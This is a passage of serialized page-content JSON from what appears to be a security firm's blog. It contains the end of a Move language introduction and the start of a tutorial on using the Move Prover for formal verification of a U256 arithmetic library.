as",{"type":21,"tag":153,"props":11555,"children":11556},{"style":214},[11557],{"type":26,"value":323},{"type":21,"tag":153,"props":11559,"children":11560},{"style":160},[11561],{"type":26,"value":11562},")) ",{"type":21,"tag":153,"props":11564,"children":11565},{"style":170},[11566],{"type":26,"value":11567},"as",{"type":21,"tag":153,"props":11569,"children":11570},{"style":214},[11571],{"type":26,"value":11572}," u128",{"type":21,"tag":153,"props":11574,"children":11575},{"style":160},[11576],{"type":26,"value":2362},{"type":21,"tag":153,"props":11578,"children":11579},{"style":198},[11580],{"type":26,"value":313},{"type":21,"tag":153,"props":11582,"children":11583},{"style":160},[11584],{"type":26,"value":5820},{"type":21,"tag":153,"props":11586,"children":11587},{"style":192},[11588],{"type":26,"value":11589},"n_coins",{"type":21,"tag":153,"props":11591,"children":11592},{"style":170},[11593],{"type":26,"value":11553},{"type":21,"tag":153,"props":11595,"children":11596},{"style":214},[11597],{"type":26,"value":11572},{"type":21,"tag":153,"props":11599,"children":11600},{"style":160},[11601],{"type":26,"value":5909},{"type":21,"tag":153,"props":11603,"children":11604},{"class":155,"line":3230},[11605],{"type":21,"tag":153,"props":11606,"children":11607},{"style":160},[11608],{"type":26,"value":11609},"          );\n",{"type":21,"tag":153,"props":11611,"children":11612},{"class":155,"line":3239},[11613,11618,11622,11626,11630,11634],{"type":21,"tag":153,"props":11614,"children":11615},{"style":192},[11616],{"type":26,"value":11617},"          i",{"type":21,"tag":153,"props":11619,"children":11620},{"style":198},[11621],{"type":26,"value":255},{"type":21,"tag":153,"props":11623,"children":11624},{"style":192},[11625],{"type":26,"value":6143},{"type":21,"tag":153,"props":11627,"children":11628},{"style":198},[11629],{"type":26,"value":5527},{"type":21,"tag":153,"props":11631,"children":11632},{"style":300},[11633],{"type":26,"value":7253},{"type":21,"tag":153,"props":11635,"children":11636},{"style":160},[11637],{"type":26,"value":1759},{"type":21,"tag":153,"props":11639,"children":11640},{"class":155,"line":3253},[11641],{"type":21,"tag":153,"props":11642,"children":11643},{"style":160},[11644],{"type":26,"value":11645},"      };\n",{"type":21,"tag":153,"props":11647,"children":11648},{"class":155,"line":3301},[11649,11654],{"type":21,"tag":153,"props":11650,"children":11651},{"style":192},[11652],{"type":26,"value":11653},"      spec",{"type":21,"tag":153,"props":11655,"children":11656},{"style":160},[11657],{"type":26,"value":236},{"type":21,"tag":153,"props":11659,"children":11660},{"class":155,"line":3346},[11661,11666,11670,11674,11678],{"type":21,"tag":153,"props":11662,"children":11663},{"style":192},[11664],{"type":26,"value":11665},"          assert",{"type":21,"tag":153,"props":11667,"children":11668},{"style":192},[11669],{"type":26,"value":6143},{"type":21,"tag":153,"props":11671,"children":11672},{"style":198},[11673],{"type":26,"value":6031},{"type":21,"tag":153,"props":11675,"children":11676},{"style":192},[11677],{"type":26,"value":11213},{"type":21,"tag":153,"props":11679,"children":11680},{"style":160},[11681],{"type":26,"value":1759},{"type":21,"tag":153,"props":11683,"children":11684},{"class":155,"line":3355},[11685,11689,11693,11697,11701,11705,11709,11713],{"type":21,"tag":153,"props":11686,"children":11687},{"style":192},[11688],{"type":26,"value":11665},{"type":21,"tag":153,"props":11690,"children":11691},{"style":181},[11692],{"type":26,"value":11284},{"type":21,"tag":153,"props":11694,"children":11695},{"style":160},[11696],{"type":26,"value":189},{"type":21,"tag":153,"props":11698,"children":11699},{"style":192},[11700],{"type":26,"value":11093},{"type":21,"tag":153,"props":11702,"children":11703},{"style":160},[11704],{"type":26,"value":2362},{"type":21,"tag":153,"props":11706,"children":11707},{"style":198},[11708],{"type":26,"value":1694},{"type":21,"tag":153,"props":11710,"children":11711},{"style":192},[11712],{"type":26,"value":11213},{"type":21,"tag":153,"props":11714,"children":11715},{"style":160},[11716],{"type":26,"value":1759},{"type":21,"tag":153,"props":11718,"children":11719},{"class":155,"line":3364},[11720],{"type":21,"tag":153,"props":11721,"children":11722},{"style":160},[11723],{"type":26,"value":11645},{"type":21,"tag":153,"props":11725,"children":11726},{"class":155,"line":3376},[11727],{"type":21,"tag":153,"props":11728,"children":11729},{"style":192},[11730],{"type":26,"value":11731},"      amounts_times_coins\n",{"type":21,"tag":153,"props":11733,"children":11734},{"class":155,"line":3393},[11735],{"type":21,"tag":153,"props":11736,"children":11737},{"style":160},[11738],{"type":26,"value":8601},{"type":21,"tag":153,"props":11740,"children":11741},{"class":155,"line":3405},[11742,11746,11750],{"type":21,"tag":153,"props":11743,"children":11744},{"style":192},[11745],{"type":26,"value":10871},{"type":21,"tag":153,"props":11747,"children":11748},{"style":192},[11749],{"type":26,"value":11084},{"type":21,"tag":153,"props":11751,"children":11752},{"style":160},[11753],{"type":26,"value":236},{"type":21,"tag":153,"props":11755,"children":11756},{"class":155,"line":3427},[11757,11761,11766],{"type":21,"tag":153,"props":11758,"children":11759},{"style":192},[11760],{"type":26,"value":10887},{"type":21,"tag":153,"props":11762,"children":11763},{"style":192},[11764],{"type":26,"value":11765}," opaque",{"type":21,"tag":153,"props":11767,"children":11768},{"style":160},[11769],{"type":26,"value":1759},{"type":21,"tag":153,"props":11771,"children":11772},{"class":155,"line":3448},[11773,11778,11783],{"type":21,"tag":153,"props":11774,"children":11775},{"style":192},[11776],{"type":26,"value":11777},"      aborts_if",{"type":21,"tag":153,"props":11779,"children":11780},{"style":170},[11781],{"type":26,"value":11782}," false",{"type":21,"tag":153,"props":11784,"children":11785},{"style":160},[11786],{"type":26,"value":1759},{"type":21,"tag":153,"props":11788,"children":11789},{"class":155,"line":3456},[11790,11794,11798,11802,11807,11811,11815,11819,11823,11827],{"type":21,"tag":153,"props":11791,"children":11792},{"style":192},[11793],{"type":26,"value":10913},{"type":21,"tag":153,"props":11795,"children":11796},{"style":181},[11797],{"type":26,"value":11284},{"type":21,"tag":153,"props":11799,"children":11800},{"style":160},[11801],{"type":26,"value":189},{"type":21,"tag":153,"props":11803,"children":11804},{"style":192},[11805],{"type":26,"value":11806},"result",{"type":21,"tag":153,"props":11808,"children":11809},{"style":160},[11810],{"type":26,"value":2362},{"type":21,"tag":153,"props":11812,"children":11813},{"style":198},[11814],{"type":26,"value":1694},{"type":21,"tag":153,"props":11816,"children":11817},{"style":181},[11818],{"type":26,"value":11284},{"type":21,"tag":153,"props":11820,"children":11821},{"style":160},[11822],{"type":26,"value":189},{"type":21,"tag":153,"props":11824,"children":11825},{"style":192},[11826],{"type":26,"value":11093},{"type":21,"tag":153,"props":11828,"children":11829},{"style":160},[11830],{"type":26,"value":530},{"type":21,"tag":153,"props":11832,"children":11833},{"class":155,"line":3493},[11834,11838,11842,11846,11850,11854,11858,11862,11866,11870,11874,11878,11883,11887,11891,11895,11899,11903,11907,11911,11915,11919,11923,11927,11931],{"type":21,"tag":153,"props":11835,"children":11836},{"style":192},[11837],{"type":26,"value":10913},{"type":21,"tag":153,"props":11839,"children":11840},{"style":192},[11841],{"type":26,"value":11344},{"type":21,"tag":153,"props":11843,"children":11844},{"style":192},[11845],{"type":26,"value":11349},{"type":21,"tag":153,"props":11847,"children":11848},{"style":170},[11849],{"type":26,"value":5794},{"type":21,"tag":153,"props":11851,"children":11852},{"style":300},[11853],{"type":26,"value":5799},{"type":21,"tag":153,"props":11855,"children":11856},{"style":198},[11857],{"type":26,"value":341},{"type":21,"tag":153,"props":11859,"children":11860},{"style":181},[11861],{"type":26,"value":2456},{"type":21,"tag":153,"props":11863,"children":11864},{"style":160},[11865],{"type":26,"value":189},{"type":21,"tag":153,"props":11867,"children":11868},{"style":192},[11869],{"type":26,"value":11093},{"type":21,"tag":153,"props":11871,"children":11872},{"style":160},[11873],{"type":26,"value":2071},{"type":21,"tag":153,"props":11875,"children":11876},{"style":198},[11877],{"type":26,"value":201},{"type":21,"tag":153,"props":11879,"children":11880},{"style":192},[11881],{"type":26,"value":11882}," result",{"type":21,"tag":153,"props":11884,"children":11885},{"style":160},[11886],{"type":26,"value":211},{"type":21,"tag":153,"props":11888,"children":11889},{"style":192},[11890],{"type":26,"value":11382},{"type":21,"tag":153,"props":11892,"children":11893},{"style":160},[11894],{"type":26,"value":11387},{"type":21,"tag":153,"props":11896,"children":11897},{"style":198},[11898],{"type":26,"value":1694},{"type":21,"tag":153,"props":11900,"children":11901},{"style":192},[11902],{"type":26,"value":11396},{"type":21,"tag":153,"props":11904,"children":11905},{"style":160},[11906],{"type":26,"value":211},{"type":21,"tag":153,"props":11908,"children":11909},{"style":192},[11910],{"type":26,"value":11382},{"type":21,"tag":153,"props":11912,"children":11913},{"style":160},[11914],{"type":26,"value":11387},{"type":21,"tag":153,"props":11916,"children":11917},{"style":198},[11918],{"type":26,"value":313},{"type":21,"tag":153,"props":11920,"children":11921},{"style":181},[11922],{"type":26,"value":11284},{"type":21,"tag":153,"props":11924,"children":11925},{"style":160},[11926],{"type":26,"value":189},{"type":21,"tag":153,"props":11928,"children":11929},{"style":192},[11930],{"type":26,"value":11093},{"type":21,"tag":153,"props":11932,"children":11933},{"style":160},[11934],{"type":26,"value":530},{"type":21,"tag":153,"props":11936,"children":11937},{"class":155,"line":3509},[11938],{"type":21,"tag":153,"props":11939,"children":11940},{"style":160},[11941],{"type":26,"value":8601},{"type":21,"tag":66,"props":11943,"children":11944},{"id":8040},[11945],{"type":26,"value":8043},{"type":21,"tag":22,"props":11947,"children":11948},{},[11949],{"type":26,"value":11950},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":21,"tag":22,"props":11952,"children":11953},{},[11954],{"type":26,"value":11955},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":21,"tag":22,"props":11957,"children":11958},{},[11959,11961,11968],{"type":26,"value":11960},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":21,"tag":29,"props":11962,"children":11965},{"href":11963,"rel":11964},"https://twitter.com/notdeghost/",[33],[11966],{"type":26,"value":11967},"@notdeghost",{"type":26,"value":355},{"type":21,"tag":5603,"props":11970,"children":11971},{},[11972],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":11974},[11975,11976,11977],{"id":8489,"depth":166,"text":8492},{"id":10523,"depth":166,"text":10526},{"id":8040,"depth":166,"text":8043},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":11982,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11983,"description":11984,"author":12,"image":11985,"date":11988,"isFeatured":16,"tags":11989,"onBlogPage":16,"body":11992,"_type":5619,"_id":16329,"_source":5621,"_file":16330,"_stem":16331,"_extension":5624},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":11986,"height":11987,"width":8454},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[11990,11991],"move","tutorial",{"type":18,"children":11993,"toc":16315},[11994,12013,12025,12031,12036,12041,12046,12055,12060,12074,12079,12085,12090,12104,12109,12246,12259,12264,12285,12319,12330,12335,12340,12350,12363,12704,12718,12736,12781,12794,12813,12985,12990,12995,13019,13024,13626,13638,13650,13655,13669,13674,13687,13727,13732,13764,13769,13774,13787,14172,14199,14406,14411,14423,14658,14663,14671,14690,15037,15042,15199,15204,15211,15225,15231,15236,15241,15247,15260,15491,15497,15502,15522,15791,15796,15802,15814,15819,15833,15839,15875,15974,15995,16001,16006,16011,16263,16268,16286,16290,16295,16300,16311],{"type":21,"tag":22,"props":11995,"children":11996},{},[11997,11999,12004,12006,12011],{"type":26,"value":11998},"Formal verification -- a powerful tool for ",{"type":21,"tag":5302,"props":12000,"children":12001},{},[12002],{"type":26,"value":12003},"proving",{"type":26,"value":12005}," the correctness of your programs. How does it ",{"type":21,"tag":5302,"props":12007,"children":12008},{},[12009],{"type":26,"value":12010},"actually",{"type":26,"value":12012}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":21,"tag":22,"props":12014,"children":12015},{},[12016,12018,12023],{"type":26,"value":12017},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":21,"tag":5302,"props":12019,"children":12020},{},[12021],{"type":26,"value":12022},"all",{"type":26,"value":12024}," possible inputs.",{"type":21,"tag":66,"props":12026,"children":12028},{"id":12027},"move-prover",[12029],{"type":26,"value":12030},"Move Prover",{"type":21,"tag":22,"props":12032,"children":12033},{},[12034],{"type":26,"value":12035},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":21,"tag":22,"props":12037,"children":12038},{},[12039],{"type":26,"value":12040},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":21,"tag":22,"props":12042,"children":12043},{},[12044],{"type":26,"value":12045},"The architecture of the tool consists of multiple components as illustrated below.",{"type":21,"tag":22,"props":12047,"children":12048},{},[12049],{"type":21,"tag":3644,"props":12050,"children":12054},{"alt":12051,"src":12052,"title":12053},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":21,"tag":22,"props":12056,"children":12057},{},[12058],{"type":26,"value":12059},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":21,"tag":22,"props":12061,"children":12062},{},[12063,12065,12072],{"type":26,"value":12064},"The model is translated into an intermediate language, called ",{"type":21,"tag":29,"props":12066,"children":12069},{"href":12067,"rel":12068},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[33],[12070],{"type":26,"value":12071},"Boogie",{"type":26,"value":12073},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":21,"tag":22,"props":12075,"children":12076},{},[12077],{"type":26,"value":12078},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":21,"tag":66,"props":12080,"children":12082},{"id":12081},"move-specification-language",[12083],{"type":26,"value":12084},"Move Specification Language",{"type":21,"tag":22,"props":12086,"children":12087},{},[12088],{"type":26,"value":12089},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":21,"tag":22,"props":12091,"children":12092},{},[12093,12095,12102],{"type":26,"value":12094},"To better understand how to use the MSL, we will use ",{"type":21,"tag":29,"props":12096,"children":12099},{"href":12097,"rel":12098},"https://github.com/pontem-network/u256",[33],[12100],{"type":26,"value":12101},"Pontem's U256 library",{"type":26,"value":12103},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":21,"tag":22,"props":12105,"children":12106},{},[12107],{"type":26,"value":12108},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":21,"tag":143,"props":12110,"children":12112},{"code":12111,"language":147,"meta":7,"className":145,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[12113],{"type":21,"tag":78,"props":12114,"children":12115},{"__ignoreMap":7},[12116,12159,12179,12199,12219,12239],{"type":21,"tag":153,"props":12117,"children":12118},{"class":155,"line":156},[12119,12124,12128,12133,12138,12142,12147,12151,12155],{"type":21,"tag":153,"props":12120,"children":12121},{"style":170},[12122],{"type":26,"value":12123},"struct",{"type":21,"tag":153,"props":12125,"children":12126},{"style":214},[12127],{"type":26,"value":7460},{"type":21,"tag":153,"props":12129,"children":12130},{"style":192},[12131],{"type":26,"value":12132}," has",{"type":21,"tag":153,"props":12134,"children":12135},{"style":192},[12136],{"type":26,"value":12137}," copy",{"type":21,"tag":153,"props":12139,"children":12140},{"style":160},[12141],{"type":26,"value":1670},{"type":21,"tag":153,"props":12143,"children":12144},{"style":192},[12145],{"type":26,"value":12146},"drop",{"type":21,"tag":153,"props":12148,"children":12149},{"style":160},[12150],{"type":26,"value":1670},{"type":21,"tag":153,"props":12152,"children":12153},{"style":192},[12154],{"type":26,"value":8670},{"type":21,"tag":153,"props":12156,"children":12157},{"style":160},[12158],{"type":26,"value":236},{"type":21,"tag":153,"props":12160,"children":12161},{"class":155,"line":166},[12162,12167,12171,12175],{"type":21,"tag":153,"props":12163,"children":12164},{"style":192},[12165],{"type":26,"value":12166},"    v0",{"type":21,"tag":153,"props":12168,"children":12169},{"style":198},[12170],{"type":26,"value":201},{"type":21,"tag":153,"props":12172,"children":12173},{"style":214},[12174],{"type":26,"value":323},{"type":21,"tag":153,"props":12176,"children":12177},{"style":160},[12178],{"type":26,"value":792},{"type":21,"tag":153,"props":12180,"children":12181},{"class":155,"line":225},[12182,12187,12191,12195],{"type":21,"tag":153,"props":12183,"children":12184},{"style":192},[12185],{"type":26,"value":12186},"    v1",{"type":21,"tag":153,"props":12188,"children":12189},{"style":198},[12190],{"type":26,"value":201},{"type":21,"tag":153,"props":12192,"children":12193},{"style":214},[12194],{"type":26,"value":323},{"type":21,"tag":153,"props":12196,"children":12197},{"style":160},[12198],{"type":26,"value":792},{"type":21,"tag":153,"props":12200,"children":12201},{"class":155,"line":239},[12202,12207,12211,12215],{"type":21,"tag":153,"props":12203,"children":12204},{"style":192},[12205],{"type":26,"value":12206},"    v2",{"type":21,"tag":153,"props":12208,"children":12209},{"style":198},[12210],{"type":26,"value":201},{"type":21,"tag":153,"props":12212,"children":12213},{"style":214},[12214],{"type":26,"value":323},{"type":21,"tag":153,"props":12216,"children":12217},{"style":160},[12218],{"type":26,"value":792},{"type":21,"tag":153,"props":12220,"children":12221},{"class":155,"line":382},[12222,12227,12231,12235],{"type":21,"tag":153,"props":12223,"children":12224},{"style":192},[12225],{"type":26,"value":12226},"    v3",{"type":21,"tag":153,"props":12228,"children":12229},{"style":198},[12230],{"type":26,"value":201},{"type":21,"tag":153,"props":12232,"children":12233},{"style":214},[12234],{"type":26,"value":323},{"type":21,"tag":153,"props":12236,"children":12237},{"style":160},[12238],{"type":26,"value":792},{"type":21,"tag":153,"props":12240,"children":12241},{"class":155,"line":501},[12242],{"type":21,"tag":153,"props":12243,"children":12244},{"style":160},[12245],{"type":26,"value":548},{"type":21,"tag":22,"props":12247,"children":12248},{},[12249,12251,12257],{"type":26,"value":12250},"Now, let's consider the ",{"type":21,"tag":78,"props":12252,"children":12254},{"className":12253},[],[12255],{"type":26,"value":12256},"add(a: U256, b: U256): U256",{"type":26,"value":12258}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":21,"tag":22,"props":12260,"children":12261},{},[12262],{"type":26,"value":12263},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":21,"tag":22,"props":12265,"children":12266},{},[12267,12269,12275,12277,12284],{"type":26,"value":12268},"For example, if your file is ",{"type":21,"tag":78,"props":12270,"children":12272},{"className":12271},[],[12273],{"type":26,"value":12274},"sources/u256.move",{"type":26,"value":12276},", you can put specifications in ",{"type":21,"tag":29,"props":12278,"children":12281},{"href":12279,"rel":12280},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[33],[12282],{"type":26,"value":12283},"sources/u256.spec.move",{"type":26,"value":355},{"type":21,"tag":143,"props":12286,"children":12288},{"code":12287,"language":147,"meta":7,"className":145,"style":7},"spec add { ... }\n",[12289],{"type":21,"tag":78,"props":12290,"children":12291},{"__ignoreMap":7},[12292],{"type":21,"tag":153,"props":12293,"children":12294},{"class":155,"line":156},[12295,12299,12304,12309,12314],{"type":21,"tag":153,"props":12296,"children":12297},{"style":192},[12298],{"type":26,"value":11001},{"type":21,"tag":153,"props":12300,"children":12301},{"style":192},[12302],{"type":26,"value":12303}," add",{"type":21,"tag":153,"props":12305,"children":12306},{"style":160},[12307],{"type":26,"value":12308}," { ",{"type":21,"tag":153,"props":12310,"children":12311},{"style":198},[12312],{"type":26,"value":12313},"...",{"type":21,"tag":153,"props":12315,"children":12316},{"style":160},[12317],{"type":26,"value":12318}," }\n",{"type":21,"tag":22,"props":12320,"children":12321},{},[12322,12324,12329],{"type":26,"value":12323},"The specifications placed inside the specification blocks are considered ",{"type":21,"tag":5302,"props":12325,"children":12326},{},[12327],{"type":26,"value":12328},"Expressions",{"type":26,"value":355},{"type":21,"tag":114,"props":12331,"children":12333},{"id":12332},"expressions",[12334],{"type":26,"value":12328},{"type":21,"tag":22,"props":12336,"children":12337},{},[12338],{"type":26,"value":12339},"Let's go over some common expressions.",{"type":21,"tag":22,"props":12341,"children":12342},{},[12343,12348],{"type":21,"tag":78,"props":12344,"children":12346},{"className":12345},[],[12347],{"type":26,"value":11051},{"type":26,"value":12349}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":21,"tag":22,"props":12351,"children":12352},{},[12353,12355,12361],{"type":26,"value":12354},"For example, the ",{"type":21,"tag":78,"props":12356,"children":12358},{"className":12357},[],[12359],{"type":26,"value":12360},"add",{"type":26,"value":12362}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":21,"tag":143,"props":12364,"children":12366},{"code":12365,"language":147,"meta":7,"className":145,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[12367],{"type":21,"tag":78,"props":12368,"children":12369},{"__ignoreMap":7},[12370,12403,12410,12459,12481,12510,12546,12587,12594,12601,12616,12697],{"type":21,"tag":153,"props":12371,"children":12372},{"class":155,"line":156},[12373,12377,12382,12386,12390,12394,12399],{"type":21,"tag":153,"props":12374,"children":12375},{"style":170},[12376],{"type":26,"value":5085},{"type":21,"tag":153,"props":12378,"children":12379},{"style":160},[12380],{"type":26,"value":12381}," P64",{"type":21,"tag":153,"props":12383,"children":12384},{"style":198},[12385],{"type":26,"value":201},{"type":21,"tag":153,"props":12387,"children":12388},{"style":214},[12389],{"type":26,"value":11572},{"type":21,"tag":153,"props":12391,"children":12392},{"style":198},[12393],{"type":26,"value":255},{"type":21,"tag":153,"props":12395,"children":12396},{"style":300},[12397],{"type":26,"value":12398}," 0x10000000000000000",{"type":21,"tag":153,"props":12400,"children":12401},{"style":160},[12402],{"type":26,"value":1759},{"type":21,"tag":153,"props":12404,"children":12405},{"class":155,"line":166},[12406],{"type":21,"tag":153,"props":12407,"children":12408},{"emptyLinePlaceholder":16},[12409],{"type":26,"value":759},{"type":21,"tag":153,"props":12411,"children":12412},{"class":155,"line":225},[12413,12417,12421,12426,12430,12434,12438,12442,12446,12450,12455],{"type":21,"tag":153,"props":12414,"children":12415},{"style":192},[12416],{"type":26,"value":11001},{"type":21,"tag":153,"props":12418,"children":12419},{"style":192},[12420],{"type":26,"value":8936},{"type":21,"tag":153,"props":12422,"children":12423},{"style":181},[12424],{"type":26,"value":12425}," value_of_U256",{"type":21,"tag":153,"props":12427,"children":12428},{"style":160},[12429],{"type":26,"value":189},{"type":21,"tag":153,"props":12431,"children":12432},{"style":192},[12433],{"type":26,"value":29},{"type":21,"tag":153,"props":12435,"children":12436},{"style":198},[12437],{"type":26,"value":201},{"type":21,"tag":153,"props":12439,"children":12440},{"style":214},[12441],{"type":26,"value":7460},{"type":21,"tag":153,"props":12443,"children":12444},{"style":160},[12445],{"type":26,"value":2071},{"type":21,"tag":153,"props":12447,"children":12448},{"style":198},[12449],{"type":26,"value":201},{"type":21,"tag":153,"props":12451,"children":12452},{"style":192},[12453],{"type":26,"value":12454}," num",{"type":21,"tag":153,"props":12456,"children":12457},{"style":160},[12458],{"type":26,"value":236},{"type":21,"tag":153,"props":12460,"children":12461},{"class":155,"line":239},[12462,12467,12471,12476],{"type":21,"tag":153,"props":12463,"children":12464},{"style":192},[12465],{"type":26,"value":12466},"    a",{"type":21,"tag":153,"props":12468,"children":12469},{"style":198},[12470],{"type":26,"value":355},{"type":21,"tag":153,"props":12472,"children":12473},{"style":160},[12474],{"type":26,"value":12475},"v0 ",{"type":21,"tag":153,"props":12477,"children":12478},{"style":198},[12479],{"type":26,"value":12480},"+\n",{"type":21,"tag":153,"props":12482,"children":12483},{"class":155,"line":382},[12484,12488,12492,12497,12501,12505],{"type":21,"tag":153,"props":12485,"children":12486},{"style":192},[12487],{"type":26,"value":12466},{"type":21,"tag":153,"props":12489,"children":12490},{"style":198},[12491],{"type":26,"value":355},{"type":21,"tag":153,"props":12493,"children":12494},{"style":160},[12495],{"type":26,"value":12496},"v1 ",{"type":21,"tag":153,"props":12498,"children":12499},{"style":198},[12500],{"type":26,"value":313},{"type":21,"tag":153,"props":12502,"children":12503},{"style":214},[12504],{"type":26,"value":12381},{"type":21,"tag":153,"props":12506,"children":12507},{"style":198},[12508],{"type":26,"value":12509}," +\n",{"type":21,"tag":153,"props":12511,"children":12512},{"class":155,"line":501},[12513,12517,12521,12526,12530,12534,12538,12542],{"type":21,"tag":153,"props":12514,"children":12515},{"style":192},[12516],{"type":26,"value":12466},{"type":21,"tag":153,"props":12518,"children":12519},{"style":198},[12520],{"type":26,"value":355},{"type":21,"tag":153,"props":12522,"children":12523},{"style":160},[12524],{"type":26,"value":12525},"v2 ",{"type":21,"tag":153,"props":12527,"children":12528},{"style":198},[12529],{"type":26,"value":313},{"type":21,"tag":153,"props":12531,"children":12532},{"style":214},[12533],{"type":26,"value":12381},{"type":21,"tag":153,"props":12535,"children":12536},{"style":198},[12537],{"type":26,"value":5080},{"type":21,"tag":153,"props":12539,"children":12540},{"style":214},[12541],{"type":26,"value":12381},{"type":21,"tag":153,"props":12543,"children":12544},{"style":198},[12545],{"type":26,"value":12509},{"type":21,"tag":153,"props":12547,"children":12548},{"class":155,"line":533},[12549,12553,12557,12562,12566,12570,12574,12578,12582],{"type":21,"tag":153,"props":12550,"children":12551},{"style":192},[12552],{"type":26,"value":12466},{"type":21,"tag":153,"props":12554,"children":12555},{"style":198},[12556],{"type":26,"value":355},{"type":21,"tag":153,"props":12558,"children":12559},{"style":160},[12560],{"type":26,"value":12561},"v3 ",{"type":21,"tag":153,"props":12563,"children":12564},{"style":198},[12565],{"type":26,"value":313},{"type":21,"tag":153,"props":12567,"children":12568},{"style":214},[12569],{"type":26,"value":12381},{"type":21,"tag":153,"props":12571,"children":12572},{"style":198},[12573],{"type":26,"value":5080},{"type":21,"tag":153,"props":12575,"children":12576},{"style":214},[12577],{"type":26,"value":12381},{"type":21,"tag":153,"props":12579,"children":12580},{"style":198},[12581],{"type":26,"value":5080},{"type":21,"tag":153,"props":12583,"children":12584},{"style":214},[12585],{"type":26,"value":12586}," P64\n",{"type":21,"tag":153,"props":12588,"children":12589},{"class":155,"line":542},[12590],{"type":21,"tag":153,"props":12591,"children":12592},{"style":160},[12593],{"type":26,"value":548},{"type":21,"tag":153,"props":12595,"children":12596},{"class":155,"line":762},[12597],{"type":21,"tag":153,"props":12598,"children":12599},{"emptyLinePlaceholder":16},[12600],{"type":26,"value":759},{"type":21,"tag":153,"props":12602,"children":12603},{"class":155,"line":776},[12604,12608,12612],{"type":21,"tag":153,"props":12605,"children":12606},{"style":192},[12607],{"type":26,"value":11001},{"type":21,"tag":153,"props":12609,"children":12610},{"style":192},[12611],{"type":26,"value":12303},{"type":21,"tag":153,"props":12613,"children":12614},{"style":160},[12615],{"type":26,"value":236},{"type":21,"tag":153,"props":12617,"children":12618},{"class":155,"line":795},[12619,12624,12628,12632,12636,12640,12644,12648,12652,12656,12660,12665,12669,12673,12677,12681,12685,12689,12693],{"type":21,"tag":153,"props":12620,"children":12621},{"style":192},[12622],{"type":26,"value":12623},"    aborts_if",{"type":21,"tag":153,"props":12625,"children":12626},{"style":181},[12627],{"type":26,"value":12425},{"type":21,"tag":153,"props":12629,"children":12630},{"style":160},[12631],{"type":26,"value":189},{"type":21,"tag":153,"props":12633,"children":12634},{"style":192},[12635],{"type":26,"value":29},{"type":21,"tag":153,"props":12637,"children":12638},{"style":160},[12639],{"type":26,"value":2362},{"type":21,"tag":153,"props":12641,"children":12642},{"style":198},[12643],{"type":26,"value":4099},{"type":21,"tag":153,"props":12645,"children":12646},{"style":181},[12647],{"type":26,"value":12425},{"type":21,"tag":153,"props":12649,"children":12650},{"style":160},[12651],{"type":26,"value":189},{"type":21,"tag":153,"props":12653,"children":12654},{"style":192},[12655],{"type":26,"value":5972},{"type":21,"tag":153,"props":12657,"children":12658},{"style":160},[12659],{"type":26,"value":2362},{"type":21,"tag":153,"props":12661,"children":12662},{"style":198},[12663],{"type":26,"value":12664},">=",{"type":21,"tag":153,"props":12666,"children":12667},{"style":214},[12668],{"type":26,"value":12381},{"type":21,"tag":153,"props":12670,"children":12671},{"style":198},[12672],{"type":26,"value":5080},{"type":21,"tag":153,"props":12674,"children":12675},{"style":214},[12676],{"type":26,"value":12381},{"type":21,"tag":153,"props":12678,"children":12679},{"style":198},[12680],{"type":26,"value":5080},{"type":21,"tag":153,"props":12682,"children":12683},{"style":214},[12684],{"type":26,"value":12381},{"type":21,"tag":153,"props":12686,"children":12687},{"style":198},[12688],{"type":26,"value":5080},{"type":21,"tag":153,"props":12690,"children":12691},{"style":214},[12692],{"type":26,"value":12381},{"type":21,"tag":153,"props":12694,"children":12695},{"style":160},[12696],{"type":26,"value":1759},{"type":21,"tag":153,"props":12698,"children":12699},{"class":155,"line":808},[12700],{"type":21,"tag":153,"props":12701,"children":12702},{"style":160},[12703]